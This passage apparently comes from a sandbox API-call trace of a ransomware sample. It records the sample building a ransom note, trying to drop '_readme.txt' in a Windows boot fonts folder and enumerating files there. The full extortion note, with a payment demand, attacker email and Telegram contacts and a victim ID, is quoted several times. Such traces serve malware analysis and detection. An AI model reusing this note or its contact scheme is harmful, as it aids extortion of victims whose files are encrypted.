(pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0112.579] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.579] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.579] PathFindFileNameW (pszPath="") returned="" [0112.579] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.580] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.580] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.580] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.580] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0112.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.580] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0112.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.581] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.581] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.581] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.581] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.581] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0112.582] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.582] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: 